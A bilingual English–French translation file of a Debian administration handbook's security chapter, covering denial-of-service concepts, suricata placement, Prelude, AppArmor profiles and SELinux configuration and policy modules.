fr-FR: Une attaque de type « déni de service » a pour seul objectif de rendre un service réseau inexploitable. Que cela soit en surchargeant le serveur de requêtes ou en exploitant un bogue de celui-ci, le résultat est toujours le même : le service en question n'est plus fonctionnel, les utilisateurs habituels sont mécontents et l'hébergeur du service réseau visé s'est fait une mauvaise publicité (en plus d'avoir éventuellement perdu des ventes, s'il s'agit par exemple d'un site de commerce en ligne).

en: Such an attack is sometimes “distributed”; this usually involves overloading the server with large numbers of queries coming from many different sources so that the server becomes unable to answer the legitimate queries. These types of attacks have gained well-known acronyms: <acronym>DDoS</acronym> and <acronym>DoS</acronym> (depending on whether the denial of service attack is distributed or not).
fr-FR: Une telle attaque est parfois « distribuée », il s'agit alors de surcharger la machine avec un grand nombre de requêtes en provenance de nombreuses sources, afin que le serveur ne puisse plus répondre aux requêtes légitimes. En anglais, on parle de <foreignphrase>(distributed) denial of service</foreignphrase> (abrégé en <acronym>DoS</acronym> ou <acronym>DDoS</acronym>).

en: <emphasis>CAUTION</emphasis> Range of action
fr-FR: <emphasis>ATTENTION</emphasis> Rayon d'action

en: The effectiveness of <command>suricata</command> is limited by the traffic seen on the monitored network interface. It will obviously not be able to detect anything if it cannot observe the real traffic. When plugged into a network switch, it will therefore only monitor attacks targeting the machine it runs on, which is probably not the intention. The machine hosting <command>suricata</command> should therefore be plugged into the “mirror” port of the switch, which is usually dedicated to chaining switches and therefore gets all the traffic.
fr-FR: <command>suricata</command> est limité par le trafic qu'il voit transiter sur son interface réseau : il ne pourra évidemment rien détecter s'il n'observe rien. Branché sur un commutateur <foreignphrase>(switch)</foreignphrase>, il ne surveillera que les attaques ciblant la machine l'hébergeant, ce qui n'a qu'un intérêt assez limité. Pensez donc à relier la machine employant <command>suricata</command> au port « miroir », qui permet habituellement de chaîner les commutateurs et sur lequel tout le trafic est dupliqué.

en: <emphasis>GOING FURTHER</emphasis> Integration with <command>prelude</command>
fr-FR: <emphasis>POUR ALLER PLUS LOIN</emphasis> Intégration avec <command>prelude</command>

en: Prelude brings centralized monitoring of security information. Its modular architecture includes a server (the <emphasis>manager</emphasis> in <emphasis role="pkg">prelude-manager</emphasis>) which gathers alerts generated by <emphasis>sensors</emphasis> of various types.
fr-FR: Prelude offre une supervision centralisée des informations de sécurité. Pour cela, il dispose d'une architecture modulaire : un serveur (le <foreignphrase>manager</foreignphrase> du paquet <emphasis>prelude-manager</emphasis>) centralise les alertes détectées par des capteurs <foreignphrase>(sensors)</foreignphrase> de plusieurs types.

en: Suricata can be configured as such a sensor. Other possibilities include <emphasis>prelude-lml</emphasis> (<emphasis>Log Monitor Lackey</emphasis>) which monitors log files (in a manner similar to <command>logcheck</command>, described in <xref linkend="sect.logcheck" />).
fr-FR: Suricata peut être configuré comme un de ces capteurs. Il existe aussi <emphasis>prelude-lml</emphasis> (<foreignphrase>Log Monitor Lackey</foreignphrase>, ou laquais de surveillance de journaux système) qui surveille quant à lui les fichiers de <emphasis>logs</emphasis>, à l'instar de <command>logcheck</command> (voir <xref linkend="sect.logcheck" />), déjà étudié.

en: Introduction to AppArmor
fr-FR: Introduction à AppArmor

en: Principles
fr-FR: Les principes

en: AppArmor is a <emphasis>Mandatory Access Control</emphasis> (MAC) system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries AppArmor before each system call to know whether the process is authorized to do the given operation. Through this mechanism, AppArmor confines programs to a limited set of resources.
fr-FR: AppArmor est un système de contrôle d'accès obligatoire <foreignphrase>(Mandatory Access Control)</foreignphrase> qui s'appuie sur l'interface <foreignphrase>Linux Security Modules</foreignphrase> fournie par le noyau Linux. Concrètement, le noyau interroge AppArmor avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée. Ce mécanisme permet à AppArmor de confiner des programmes à un ensemble restreint de ressources.

en: AppArmor profiles are stored in <filename>/etc/apparmor.d/</filename> and they contain a list of access control rules on resources that each program can make use of. The profiles are compiled and loaded into the kernel by the <command>apparmor_parser</command> command. Each profile can be loaded either in enforcing or complaining mode. The former enforces the policy and reports violation attempts, while the latter does not enforce the policy but still logs the system calls that would have been denied.
fr-FR: Les profils AppArmor sont stockés dans <filename>/etc/apparmor.d/</filename> ; ils consistent en une liste de règles de contrôle d'accès sur les ressources que peut utiliser chaque programme. Les profils sont compilés et chargés dans le noyau par le biais de la commande <command>apparmor_parser</command>. Chaque profil peut être chargé soit en mode strict <foreignphrase>(enforcing)</foreignphrase> soit en mode relâché <foreignphrase>(complaining)</foreignphrase>. Le mode strict applique les règles et rapporte les tentatives de violation, alors que le mode relâché se contente d'enregistrer dans les journaux système les appels système qui auraient été bloqués, sans les bloquer réellement.

en: Enabling AppArmor and managing AppArmor profiles
fr-FR: Activer AppArmor et gérer les profils

en: <emphasis>NOTE</emphasis> More AppArmor profiles
fr-FR: <emphasis>NOTE</emphasis> Autres profils AppArmor

en: The <emphasis role="pkg">apparmor-profiles</emphasis> package contains profiles managed by the upstream AppArmor community. To get even more profiles you can install <emphasis role="pkg">apparmor-profiles-extra</emphasis> which contains profiles developed by Ubuntu and Debian.
fr-FR: Le paquet <emphasis role="pkg">apparmor-profiles</emphasis> contient des profils développés par la communauté amont d'AppArmor. Pour en obtenir d'autres encore, il est possible d'installer <emphasis role="pkg">apparmor-profiles-extra</emphasis>, qui contient des profils développés par Ubuntu et Debian.

en: Creating a new profile
fr-FR: Créer un nouveau profil

en: Even though creating an AppArmor profile is rather easy, most programs do not have one. This section will show you how to create a new profile from scratch just by using the target program and letting AppArmor monitor the system call it makes and the resources it accesses.
fr-FR: Bien qu'il soit assez simple de créer un profil AppArmor, peu de programmes en fournissent un. Cette section montre comment créer un nouveau profil depuis zéro, simplement en utilisant le programme visé et en indiquant à AppArmor de surveiller les appels système qu'il passe et les ressources qu'il utilise.

en: The most important programs that need to be confined are the network facing programs as those are the most likely targets of remote attackers. That is why AppArmor conveniently provides an <command>aa-unconfined</command> command to list the programs which have no associated profile and which expose an open network socket. With the <literal>--paranoid</literal> option you get all unconfined processes that have at least one active network connection.
fr-FR: Les programmes qui devront être confinés en priorité sont ceux qui font face au réseau, car ce sont eux qui seront les cibles les plus alléchantes pour des attaquants distants. C'est précisément dans ce but qu'AppArmor fournit une commande <command>aa-unconfined</command>, qui liste les programmes qui, sans avoir de profil associé, exposent quand même un port de communication. L'option <literal>--paranoid</literal> liste même tous les processus non confinés qui ont au moins une connexion réseau ouverte.

en: The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice).
fr-FR: Le premier événement détecté est l'exécution d'un autre programme. Dans ce cas, plusieurs choix s'offrent à nous : on peut soit lancer le programme avec le profil du programme parent <foreignphrase>(Inherit)</foreignphrase>, soit le lancer avec un profil dédié (<foreignphrase>Profile</foreignphrase> et <foreignphrase>Name</foreignphrase>, qui ne diffèrent que par la possibilité de choisir un nom de profil arbitraire), soit le lancer avec un sous-profil du processus parent <foreignphrase>(Child)</foreignphrase>, soit le lancer sans aucun profil <foreignphrase>(Unconfined)</foreignphrase>, soit ne pas le lancer du tout <foreignphrase>(Deny)</foreignphrase>.

en: Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run.
fr-FR: À noter que lorsque l'on choisit de lancer le processus fils selon un profil dédié mais qui n'existe pas encore, l'outil va créer le profil manquant, et proposer des suggestions de règles par la même occasion.

en: At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability.
fr-FR: Au niveau du noyau, les pouvoirs spéciaux de l'utilisateur root ont été séparés en « capacités ». Lorsqu'un appel système a besoin d'une capacité spécifique, AppArmor va vérifier que le profil permet au programme d'utiliser cette capacité.

en: After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”.
fr-FR: Une fois que tous les événements enregistrés ont été examinés, le programme propose de sauver tous les profils qui ont été créés pendant l'exécution. Dans notre cas, nous avons deux profils que nous enregistrons d'un coup avec « Save » (mais nous aurions aussi pu les enregistrer un par un) avant de quitter le programme avec « Finish ».

en: <command>aa-genprof</command> is in fact only a smart wrapper around <command>aa-logprof</command>: it creates an empty profile, loads it in complain mode and then run <command>aa-logprof</command> which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created.
fr-FR: <command>aa-genprof</command> n'est en fait qu'un petit script intelligent qui utilise <command>aa-logprof</command> : il crée un profil vide, le charge en mode relâché, puis lance <command>aa-logprof</command>. Ce dernier est un outil qui met à jour un profil en fonction des violations qui ont été enregistrées. On peut donc relancer cet outil plus tard, de manière à améliorer le profil nouvellement créé.

en: Introduction to SELinux
fr-FR: Introduction à SELinux

en: SELinux (<emphasis>Security Enhanced Linux</emphasis>) is a <emphasis>Mandatory Access Control</emphasis> system built on Linux's LSM (<emphasis>Linux Security Modules</emphasis>) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation.
fr-FR: SELinux <foreignphrase>(Security Enhanced Linux)</foreignphrase> est un système de contrôle d'accès obligatoire <foreignphrase>(Mandatory Access Control)</foreignphrase> qui s'appuie sur l'interface <foreignphrase>Linux Security Modules</foreignphrase> fournie par le noyau Linux. Concrètement, le noyau interroge SELinux avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée.

en: SELinux uses a set of rules — collectively known as a <emphasis>policy</emphasis> — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (<emphasis>targeted</emphasis> and <emphasis>strict</emphasis>) are provided to avoid the bulk of the configuration work.
fr-FR: SELinux s'appuie sur un ensemble de règles <foreignphrase>(policy)</foreignphrase> pour autoriser ou interdire une opération. Ces règles sont assez délicates à créer, mais heureusement deux jeux de règles standards (<foreignphrase>targeted</foreignphrase> et <foreignphrase>strict</foreignphrase>) sont fournies pour éviter le plus gros du travail de configuration.

en: With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its <emphasis>security context</emphasis>. The context is defined by the <emphasis>identity</emphasis> of the user who started the process, the <emphasis>role</emphasis> and the <emphasis>domain</emphasis> that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity.
fr-FR: Le système de permissions de SELinux est totalement différent de ce qu'offre un système Unix traditionnel. Les droits d'un processus dépendent de son <emphasis>contexte de sécurité</emphasis>. Le contexte est défini par l'<emphasis>identité</emphasis> de celui qui a démarré le processus, le <emphasis>rôle</emphasis> et le <emphasis>domaine</emphasis> qu'il avait à ce moment. Les permissions proprement dites dépendent du domaine, mais les transitions entre les domaines sont contrôlées par les rôles. Enfin, les transitions autorisées entre rôles dépendent de l'identité.

en: Security contexts and Unix users
fr-FR: Contextes de sécurité et utilisateurs Unix

en: Obviously the rights do not apply to all <emphasis>objects</emphasis> (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a <emphasis>type</emphasis> (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type).
fr-FR: Bien entendu, les droits ne s'appliquent pas universellement à tous les <emphasis>objets</emphasis> (fichiers, répertoires, sockets, périphériques, etc.), ils peuvent varier d'un objet à l'autre. Pour cela, chaque objet est associé à un <emphasis>type</emphasis> (on parle d'étiquetage). Les droits des domaines s'expriment donc en termes d'opérations autorisées (ou non) sur ces types (donc implicitement sur tous les objets qui sont marqués avec le type correspondant).

en: <emphasis>EXTRA</emphasis> Domains and types are equivalent
fr-FR: <emphasis>COMPLÉMENTS</emphasis> Domaine et type sont équivalents

en: By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example <command>ssh</command> is labeled with <literal>ssh_exec_t</literal>, and when the program starts, it automatically switches to the <literal>ssh_t</literal> domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux.
fr-FR: Par défaut, un programme exécuté hérite du domaine de l'utilisateur qui l'a démarré. Mais pour la plupart des programmes importants, les règles SELinux standards prévoient de les faire fonctionner dans un domaine dédié. Pour cela, ces exécutables sont étiquetés avec un type dédié (par exemple <command>ssh</command> est étiqueté avec <literal>ssh_exec_t</literal> et lorsque le programme est démarré, il bascule automatiquement dans le domaine <literal>ssh_t</literal>). Ce mécanisme de changement automatique de domaine permet de ne donner que les droits nécessaires au bon fonctionnement de chaque programme et est à la base de SELinux.

en: Automatic transitions between domains
fr-FR: Transitions automatiques entre domaines

en: <emphasis>IN PRACTICE</emphasis> Finding the security context
fr-FR: <emphasis>EN PRATIQUE</emphasis> Connaître le contexte de sécurité

en: <primary>context, security context</primary>
fr-FR: <primary>sécurité, contexte de</primary>

en: To find the current security context in a shell, you should call <command>id -Z</command>.
fr-FR: Pour connaître le contexte de sécurité actuellement actif dans un terminal de commande, il faut invoquer <command>id -Z</command>.

en: To find the security context of a given process, you should use the <literal>Z</literal> option of <command>ps</command>.
fr-FR: Pour connaître le contexte de sécurité appliqué à un processus, il faut employer l'option <literal>Z</literal> de <command>ps</command>.

en: The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (<emphasis>Multi-Category Security</emphasis>) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book.
fr-FR: Le premier champ contient l'identité, le rôle, le domaine et le niveau MCS, séparés par des deux-points. Le niveau MCS <foreignphrase>(Multi-Category Security)</foreignphrase> est un paramètre intervenant dans la mise en place d'une politique de protection de la confidentialité, laquelle restreint l'accès aux fichiers selon leur degré de confidentialité. Cette fonctionnalité ne sera pas abordée dans ce livre.

en: Finally, to find the type assigned to a file, you can use <command>ls -Z</command>.
fr-FR: Enfin, pour connaître le type affecté à un fichier, on peut employer <command>ls -Z</command>.

en: It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context.
fr-FR: Signalons que l'identité et le rôle associé à un fichier n'ont pas d'importance particulière, ils n'interviennent jamais. Mais par souci d'uniformisation, tous les objets se voient attribuer un contexte de sécurité complet.

en: Setting Up SELinux
fr-FR: La mise en route

en: SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux.
fr-FR: Le code de SELinux est intégré dans les noyaux standards fournis par Debian et les programmes Unix de base le gèrent sans modification. Il est donc relativement simple d'activer SELinux.

en: The <emphasis role="pkg">selinux-policy-default</emphasis> package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the <literal>unconfined</literal> module (modules management is detailed further in this section).
fr-FR: Le paquet <command>selinux-policy-default</command> contient un ensemble de règles standards. Par défaut, l'ensemble de règles ne restreint les accès que pour certains services très exposés. Les sessions utilisateur ne sont pas restreintes et il n'y a donc que peu de risques que SELinux bloque des opérations légitimes des utilisateurs. En revanche, cela permet d'apporter un surcroît de sécurité pour les services système fonctionnant sur la machine. Pour obtenir l'équivalent des anciennes règles « strictes », il faut simplement désactiver le module <literal>unconfined</literal> (la gestion des modules est détaillée plus loin).

en: Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with <command>fixfiles relabel</command>.
fr-FR: Une fois les règles installées, il reste à étiqueter tous les fichiers disponibles (il s'agit de leur affecter un type). C'est une opération qu'il faut déclencher manuellement avec <command>fixfiles relabel</command>.

en: The SELinux system is now ready. To enable it, you should add the <literal>selinux=1 security=selinux</literal> parameter to the Linux kernel. The <literal>audit=1</literal> parameter enables SELinux logging which records all the denied operations. Finally, the <literal>enforcing=1</literal> parameter brings the rules into application: without it SELinux works in its default <emphasis>permissive</emphasis> mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the <literal>GRUB_CMDLINE_LINUX</literal> variable in <filename>/etc/default/grub</filename> and to run <command>update-grub</command>. SELinux will be active after a reboot.
fr-FR: Le système SELinux est prêt, il ne reste plus qu'à l'activer. Pour cela, il faut passer le paramètre <literal>selinux=1 security=selinux</literal> au noyau Linux. Le paramètre <literal>audit=1</literal> active les traces SELinux qui enregistrent les différentes opérations qui ont été refusées. Enfin, le paramètre <literal>enforcing=1</literal> permet de mettre en application l'ensemble des règles : en effet, par défaut SELinux fonctionne en mode <foreignphrase>permissive</foreignphrase> où les actions interdites sont tracées mais malgré tout autorisées. Il faut donc modifier le fichier de configuration du chargeur de démarrage GRUB pour ajouter les paramètres désirés. Le plus simple pour cela est de modifier la variable <literal>GRUB_CMDLINE_LINUX</literal> dans <filename>/etc/default/grub</filename> et d'exécuter <command>update-grub</command>. Au démarrage suivant, SELinux sera actif.

en: It is worth noting that the <command>selinux-activate</command> script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on).
fr-FR: Signalons que le script <command>selinux-activate</command> automatise ces opérations et permet de forcer un étiquetage au prochain redémarrage, ce qui évite d'avoir des fichiers non étiquetés créés alors que SELinux n'était pas encore actif et que l'étiquetage était en cours.

en: Managing an SELinux System
fr-FR: La gestion d'un système SELinux

en: The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the <command>semodule</command> command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the <command>semanage</command> command.
fr-FR: L'ensemble de règles SELinux est modulaire et son installation détecte et active automatiquement tous les modules pertinents en fonction des services déjà installés. Ainsi, le système est immédiatement fonctionnel. Toutefois, lorsqu'un service est installé après les règles SELinux, il faut pouvoir activer manuellement un module de règles. C'est le rôle de la commande <command>semodule</command>. En outre, il faut pouvoir définir les rôles accessibles à chaque utilisateur ; pour cela c'est la commande <command>semanage</command> qu'il faudra utiliser.

en: Those two commands can thus be used to modify the current SELinux configuration, which is stored in <filename>/etc/selinux/default/</filename>. Unlike other configuration files that you can find in <filename>/etc/</filename>, all those files must not be changed by hand. You should use the programs designed for this purpose.
fr-FR: Ces deux commandes modifient donc la configuration SELinux courante qui est stockée dans <filename>/etc/selinux/default/</filename>. Contrairement à ce qui se pratique d'habitude avec les fichiers de configuration de <filename>/etc/</filename>, ces fichiers ne doivent pas être modifiés manuellement. Il faut les manipuler en utilisant les programmes prévus pour cela.

en: <emphasis>GOING FURTHER</emphasis> More documentation
fr-FR: <emphasis>POUR ALLER PLUS LOIN</emphasis> Plus de documentation

en: Managing SELinux Modules
fr-FR: Gestion des modules SELinux

en: Available SELinux modules are stored in the <filename>/usr/share/selinux/default/</filename> directory. To enable one of these modules in the current configuration, you should use <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. The <emphasis>pp.bz2</emphasis> extension stands for <emphasis>policy package</emphasis> (compressed with bzip2).
fr-FR: Les modules SELinux disponibles sont stockés dans le répertoire <filename>/usr/share/selinux/default/</filename>. Pour activer un de ces modules dans la configuration courante, il faut employer <command>semodule -i <replaceable>module.pp.bz2</replaceable></command>. L'extension <literal>pp.bz2</literal> signifie <foreignphrase>policy package</foreignphrase> que l'on pourrait traduire par « paquet de règles » (comprimé avec bzip2).

en: Removing a module from the current configuration is done with <command>semodule -r <replaceable>module</replaceable></command>. Finally, the <command>semodule -l</command> command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with <command>semodule -e</command> and disabled with <command>semodule -d</command>.
fr-FR: À l'inverse, la commande <command>semodule -r <replaceable>module</replaceable></command> retire un module de la configuration courante. Enfin, la commande <command>semodule -l</command> liste les modules qui sont actuellement installés. La commande inclut également le numéro de version du module.

en: <command>semodule</command> immediately loads the new configuration unless you use its <literal>-n</literal> option. It is worth noting that the program acts by default on the current configuration (which is indicated by the <literal>SELINUXTYPE</literal> variable in <filename>/etc/selinux/config</filename>), but that you can modify another one by specifying it with the <literal>-s</literal> option.
fr-FR: <command>semodule</command> recharge immédiatement la nouvelle configuration, sauf si l'on utilise l'option <literal>-n</literal>. Signalons également que le programme modifie par défaut la configuration courante (celle indiquée par la variable <literal>SELINUXTYPE</literal> dans <filename>/etc/selinux/config</filename>) mais qu'on peut en modifier une autre grâce à l'option <literal>-s</literal>.

en: Managing Identities
fr-FR: Gestion des identités

en: Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the <command>semanage</command> command.
fr-FR: Chaque fois qu'un utilisateur se connecte, il se voit attribuer une identité SELinux, qui va définir les rôles qu'il va pouvoir assumer. Ces deux correspondances (de l'utilisateur vers l'identité SELinux et de cette identité vers les rôles) se configurent grâce à la commande <command>semanage</command>.

en: <command>semanage login -l</command> lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the <literal>__default__</literal> entry. The <command>semanage login -a -s user_u <replaceable>user</replaceable></command> command will associate the <emphasis>user_u</emphasis> identity to the given user. Finally, <command>semanage login -d <replaceable>user</replaceable></command> drops the mapping entry assigned to this user.
fr-FR: <command>semanage login -l</command> liste les correspondances existantes entre identifiants d'utilisateurs et identités SELinux. Si un utilisateur n'a pas de correspondance explicite, il aura l'identité indiquée en face de <literal>__default__</literal>. La commande <command>semanage login -a -s user_u <replaceable>utilisateur</replaceable></command> va associer l'identité <emphasis>user_u</emphasis> à l'utilisateur. Enfin, <command>semanage login -d <replaceable>utilisateur</replaceable></command> va retirer la correspondance affectée à l'utilisateur.

en: <command>semanage user -l</command> lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (<filename>/home/<replaceable>user</replaceable>/*</filename>). The prefix must be picked among <literal>user</literal>, <literal>staff</literal>, and <literal>sysadm</literal>. The “<literal>staff</literal>” prefix results in files of type “<literal>staff_home_dir_t</literal>”. Creating a new SELinux user identity is done with <command>semanage user -a -R <replaceable>roles</replaceable> -P <replaceable>prefix</replaceable> <replaceable>identity</replaceable></command>. Finally, you can remove an SELinux user identity with <command>semanage user -d <replaceable>identity</replaceable></command>.
fr-FR: <command>semanage user -l</command> liste les correspondances entre identité SELinux et rôles possibles. Ajouter une nouvelle identité nécessite de préciser d'une part les rôles correspondants et d'autre part, un préfixe d'étiquetage qui définira le type affecté aux fichiers personnels (<filename>/home/<replaceable>utilisateur</replaceable>/*</filename>). Le préfixe est à choisir entre <literal>user</literal>, <literal>staff</literal> et <literal>sysadm</literal>. Un préfixe « <literal>staff</literal> » donnera des fichiers typés <literal>staff_home_dir_t</literal>. La commande créant une identité est <command>semanage user -a -R <replaceable>rôles</replaceable> -P <replaceable>préfixe</replaceable> <replaceable>identité</replaceable></command>. Enfin, une identité peut être supprimée avec <command>semanage user -d <replaceable>identité</replaceable></command>.

en: Managing File Contexts, Ports and Booleans
fr-FR: Gestion des contextes de fichiers, des ports et des booléens

en: Each SELinux module provides a set of file labeling rules, but it is also possible to add custom labeling rules to cater to a specific case. For example, if you want the web server to be able to read files within the <filename>/srv/www/</filename> file hierarchy, you could execute <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command> followed by <command>restorecon -R /srv/www/</command>. The former command registers the new labeling rules and the latter resets the file types according to the current labeling rules.
fr-FR: Chaque module SELinux fournit un ensemble de règles d'étiquetage des fichiers, mais il est également possible de rajouter des règles d'étiquetage spécifiques afin de les adapter à un cas particulier. Ainsi, pour rendre toute l'arborescence <filename>/srv/www/</filename> accessible au serveur web, on pourrait exécuter <command>semanage fcontext -a -t httpd_sys_content_t "/srv/www(/.*)?"</command>, puis <command>restorecon -R /srv/www/</command>. La première commande enregistre la nouvelle règle d'étiquetage et la seconde restaure les bonnes étiquettes en fonction des règles enregistrées.

en: Similarly, TCP/UDP ports are labeled in a way that ensures that only the corresponding daemons can listen to them. For instance, if you want the web server to be able to listen on port 8080, you should run <command>semanage port -m -t http_port_t -p tcp 8080</command>.
fr-FR: D'une manière similaire, les ports TCP/UDP sont étiquetés afin que seuls les démons correspondants puissent y écouter. Ainsi, si l'on veut que le serveur web puisse également écouter sur le port 8 080, il faut exécuter la commande <command>semanage port -m -t http_port_t -p tcp 8080</command>.

en: Adapting the Rules
fr-FR: L'adaptation des règles

en: Since the SELinux policy is modular, it might be interesting to develop new modules for (possibly custom) applications that lack them. These new modules will then complete the <emphasis>reference policy</emphasis>.
fr-FR: Puisque l'ensemble des règles (que l'on nomme <foreignphrase>policy</foreignphrase>) est modulaire, il peut être intéressant de développer de nouveaux modules pour les applications (éventuellement spécifiques) qui n'en disposent pas encore, ces nouveaux modules venant alors compléter la <foreignphrase>reference policy</foreignphrase>.

en: To create new modules, the <emphasis role="pkg">selinux-policy-dev</emphasis> package is required, as well as <emphasis role="pkg">selinux-policy-doc</emphasis>. The latter contains the documentation of the standard rules (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) and sample files that can be used as templates to create new modules. Install those files and study them more closely:
fr-FR: Le paquet <emphasis role="pkg">selinux-policy-dev</emphasis> sera nécessaire, ainsi que <emphasis role="pkg">selinux-policy-doc</emphasis>. Ce dernier contient la documentation des règles standards (<filename>/usr/share/doc/selinux-policy-doc/html/</filename>) et des fichiers exemples permettant de créer de nouveaux modules. Installons ces fichiers pour les étudier de plus près :

en: The <filename>.te</filename> file is the most important one. It defines the rules. The <filename>.fc</filename> file defines the “file contexts”, that is the types assigned to files related to this module. The data within the <filename>.fc</filename> file are used during the file labeling step. Finally, the <filename>.if</filename> file defines the interface of the module: it is a set of “public functions” that other modules can use to properly interact with the module that you're creating.
fr-FR: Le fichier <filename>.te</filename> est le plus important : il définit les règles à proprement parler. Le fichier <filename>.fc</filename> définit les « contextes des fichiers », autrement dit les types affectés aux fichiers relatifs à ce module. Les informations du <filename>.fc</filename> sont utilisées lors de l'étiquetage des fichiers sur le disque. Enfin, le fichier <filename>.if</filename> définit l'interface du module ; il s'agit d'un ensemble de « fonctions publiques » qui permettent à d'autres modules de s'interfacer proprement avec celui en cours de création.

en: Writing a <filename>.fc</filename> file
fr-FR: Rédiger un fichier <filename>.fc</filename>

en: Reading the below example should be sufficient to understand the structure of such a file. You can use regular expressions to assign the same security context to multiple files, or even an entire directory tree.
fr-FR: La lecture de l'exemple qui suit suffit à comprendre la structure d'un tel fichier. Il est possible d'employer une expression rationnelle pour affecter le même contexte à plusieurs fichiers, voire à toute une arborescence.

en: <filename>example.fc</filename> file
fr-FR: Fichier <filename>example.fc</filename>

en: Writing a <filename>.if</filename> File
fr-FR: Rédiger un fichier <filename>.if</filename>

en: In the sample below, the first interface (“<literal>myapp_domtrans</literal>”) controls who can execute the application. The second one (“<literal>myapp_read_log</literal>”) grants read rights on the application's log files.
fr-FR: Dans l'exemple suivant, la première interface (<literal>myapp_domtrans</literal>) sert à contrôler qui a le droit d'exécuter l'application et la seconde (<literal>myapp_read_log</literal>) fournit un droit de lecture sur les fichiers de logs de l'application.

en: Each interface must generate a valid set of rules which can be embedded in a <filename>.te</filename> file. You should thus declare all the types that you use (with the <literal>gen_require</literal> macro), and use standard directives to grant rights. Note, however, that you can use interfaces provided by other modules. The next section will give more explanations about how to express those rights.
fr-FR: Chaque interface doit générer un ensemble correct de règles comme s'il était directement placé dans un fichier <filename>.te</filename>. Il faut donc déclarer tous les types employés (avec la macro <literal>gen_require</literal>) et employer les directives standards pour attribuer des droits. Notons toutefois qu'il est possible d'employer des interfaces fournies par d'autres modules. La prochaine section en dévoilera plus sur la manière d'exprimer ces droits.

en: <filename>example.if</filename> File
fr-FR: Fichier <filename>example.if</filename>

en: <emphasis>DOCUMENTATION</emphasis> Explanations about the <emphasis>reference policy</emphasis>
fr-FR: <emphasis>DOCUMENTATION</emphasis> Explications sur la <foreignphrase>reference policy</foreignphrase>

en: Writing a <filename>.te</filename> File
fr-FR: Rédiger un fichier <filename>.te</filename>

en: Have a look at the <filename>example.te</filename> file:
fr-FR: Analysons le contenu du fichier <filename>example.te</filename> :

en: <emphasis>GOING FURTHER</emphasis> The <command>m4</command> macro language
fr-FR: <emphasis>POUR ALLER PLUS LOIN</emphasis> Langage de macro <command>m4</command>

en: To properly structure the policy, the SELinux developers used a macro-command processor. Instead of duplicating many similar <emphasis>allow</emphasis> directives, they created “macro functions” to use a higher-level logic, which also results in a much more readable policy.
fr-FR: Pour structurer proprement l'ensemble des règles, les développeurs de SELinux se sont appuyés sur un langage de création de macro-commandes. Au lieu de répéter à l'infini des directives <emphasis>allow</emphasis> très similaires, la création de fonctions « macro » permet d'utiliser une logique de plus haut niveau et donc de rendre l'ensemble de règles plus lisible.

en: In practice, <command>m4</command> is used to compile those rules. It does the opposite operation: it expands all those high-level directives into a huge database of <emphasis>allow</emphasis> directives.
fr-FR: Dans la pratique, la compilation des règles va faire appel à l'outil <command>m4</command> pour effectuer l'opération inverse : à partir des directives de haut niveau, il va reconstituer une grande base de données de directives <emphasis>allow</emphasis>.

en: The SELinux “interfaces” are only macro functions which will be substituted by a set of rules at compilation time. Likewise, some rights are in fact sets of rights which are replaced by their values at compilation time.
fr-FR: Ainsi, les « interfaces » ne sont rien que des fonctions macro qui vont être remplacées par un ensemble de règles au moment de la compilation. De même, certaines permissions sont en réalité des ensembles de permissions qui sont remplacées par leur valeur au moment de la compilation.

en: The module must be identified by its name and version number. This directive is required.
fr-FR: Le module doit être identifié par son nom et par son numéro de version. Cette directive est requise.

en: If the module introduces new types, it must declare them with directives like this one. Do not hesitate to create as many types as required rather than granting too many useless rights.
